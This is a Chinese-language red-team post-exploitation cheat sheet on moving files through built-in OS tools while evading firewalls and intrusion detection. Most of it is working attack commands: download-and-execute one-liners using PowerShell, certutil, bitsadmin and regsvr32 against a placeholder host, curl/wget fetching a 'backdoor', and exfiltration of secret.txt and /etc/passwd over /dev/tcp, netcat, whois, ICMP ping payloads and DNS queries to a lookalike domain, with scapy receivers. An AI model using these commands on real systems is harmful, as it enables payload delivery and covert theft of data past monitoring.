红队后渗透测试中的文件传输技巧
- 2019 年 10 月 7 日
- 笔记
在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙,IDS,IPS等报警和监控系统进行文件传输,本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。
搭建 HTTP server Python
python2:
python -m SimpleHTTPServer 1337
以上命令会在当前目录启动 HTTP 服务,端口为 1337
python3:
python -m http.server 1337
以上命令会在当前目录启动 HTTP 服务,端口为 1337
PHP 5.4+
当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337
php -S 0.0.0.0:1337
Ruby
下面的命令会在当前目录下启动 HTTP 服务,端口为 1337
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
Ruby 1.9.2+
ruby -run -e httpd . -p 1337
Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start' perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET /(.*) / })'
Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver
busybox httpd
busybox httpd -f -p 8000
Download files from HTTP server
以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法
Windows powershell
下载并执行:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:downloada.exe');start-process 'c:downloada.exe'
certutil
下载并执行:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:downloada.exe&&c:downloada.exe
bitsadmin
下载并执行:
bitsadmin /transfer n http://1.2.3.4/5.exe c:downloada.exe && c:downloada.exe
bitsadmin 的下载速度比较慢
regsvr32
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
Linux Curl
curl http://1.2.3.4/backdoor
Wget
wget http://1.2.3.4/backdoor
awk
在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server
awk 'BEGIN { RS = ORS = "rn" HTTPCon = "/inet/tcp/0/127.0.0.1/1337" print "GET /secret.txt HTTP/1.1rnConnection: closern" |& HTTPCon while (HTTPCon |& getline > 0) print $0 close(HTTPCon) }'
效果:

etup HTTP PUT server
以下列出了上传文件到 HTTP Server 的几种方法
使用 Nginx 搭建 HTTP PUT Server
mkdir -p /var/www/upload/ # 创建目录 chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组 cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录 # 写入配置到 file_upload 文件 cat <<EOF > file_upload server { listen 8001 default_server; server_name kali; location / { root /var/www/upload; dav_methods PUT; } } EOF # 写入完毕 cd ../sites-enable # 进入 nginx 虚拟主机启动目录 ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机 systemctl start nginx # 启动 Nginx
使用 Python 搭建 HTTP PUT Server
以下代码保存到 HTTPutServer.py
文件里:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server import sys import signal from threading import Thread from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class PUTHandler(BaseHTTPRequestHandler): def do_PUT(self): length = int(self.headers['Content-Length']) content = self.rfile.read(length) self.send_response(200) with open(self.path[1:], "w") as f: f.write(content) def run_on(port): print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port)) server_address = (sys.argv[1], port) httpd = HTTPServer(server_address, PUTHandler) httpd.serve_forever() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage:ntpython {0} ip 1337".format(sys.argv[0])) sys.exit(1) ports = [int(arg) for arg in sys.argv[2:]] try: for port_number in ports: server = Thread(target=run_on, args=[port_number]) server.daemon = True # Do not make us wait for you to exit server.start() signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt except KeyboardInterrupt: print "nPython HTTP PUT Server Stoped." sys.exit(1)
运行方法:
$ python HTTPutServer.py 10.10.10.100 1337 Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...
上传文件到 HTTP PUT server
Linux Curl
$ curl --upload-file secret.txt http://ip:port/
Wget
$ wget --method=PUT --post-file=secret.txt http://ip:port/
Windows Powershell
$body = Get-Content secret.txt Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body
使用 Bash /dev/tcp 进行文件传输
首先需要监听端口
文件接收端:
nc -lvnp 1337 > secret.txt
文件发送端:
cat secret.txt > /dev/tcp/ip/port

使用SMB 协议进行文件传输
搭建简易 SMB Server
搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py
文件
Impacket
已默认安装在 Kali Linux 系统中
syntax: impacker-smbserver ShareName SharePath
$ mkdir smb # 创建 smb 目录 $ cd smb # 进入 smb目录 $ impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share
效果:

从 SMB server 下载文件
copy \IPShareNamefile.exe file.exe
上传文件到 SMB server
net use x: \IPShareName copy file.txt x: net use x: /delete
使用 whois 命令进行文件传输

接收端 Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d
发送端 Host A:
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`
效果:

使用 ping 命令进行文件传输

发送端:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
接收端:
以下代码保存到 ping_receiver.py
import sys try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") sys.exit(0) def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 8: data = pkt[ICMP].load[-4:] print(f'{data.decode("utf-8")}', flush=True, end="", sep="") sniff(iface="eth0", prn=process_packet)
执行方法:
python3 ping_receiver.py
效果

使用 dig 命令进行文件传输

发送端:
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
接收端:
以下代码使用了 python 的 scapy
模块,需要手动安装
代码保存到 dns_reciver.py
文件中
try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") def process_packet(pkt): if pkt.haslayer(DNS): domain = pkt[DNS][DNSQR].qname.decode('utf-8') root_domain = domain.split('.')[1] if root_domain.startswith('gooogle'): print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='') sniff(iface="eth0", prn=process_packet)
运行方法:
python3 dns_reciver.py
效果:

使用 NetCat 进行文件传输
1.txt
A:10.10.10.100
B:10.10.10.200
接受端:
nc -l -p 1337 > 1.txt
发送端:
cat 1.txt | nc -l -p 1337
或者
nc 10.10.10.200 1337 < 1.txt
在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt

参考链接
- Ippsec’s HackTheBox – Mischief Video
- Micropoor
- Simple Local HTTP Server With Ruby
- Big list of http static server one liners
- 渗透技巧——从github下载文件的多种方法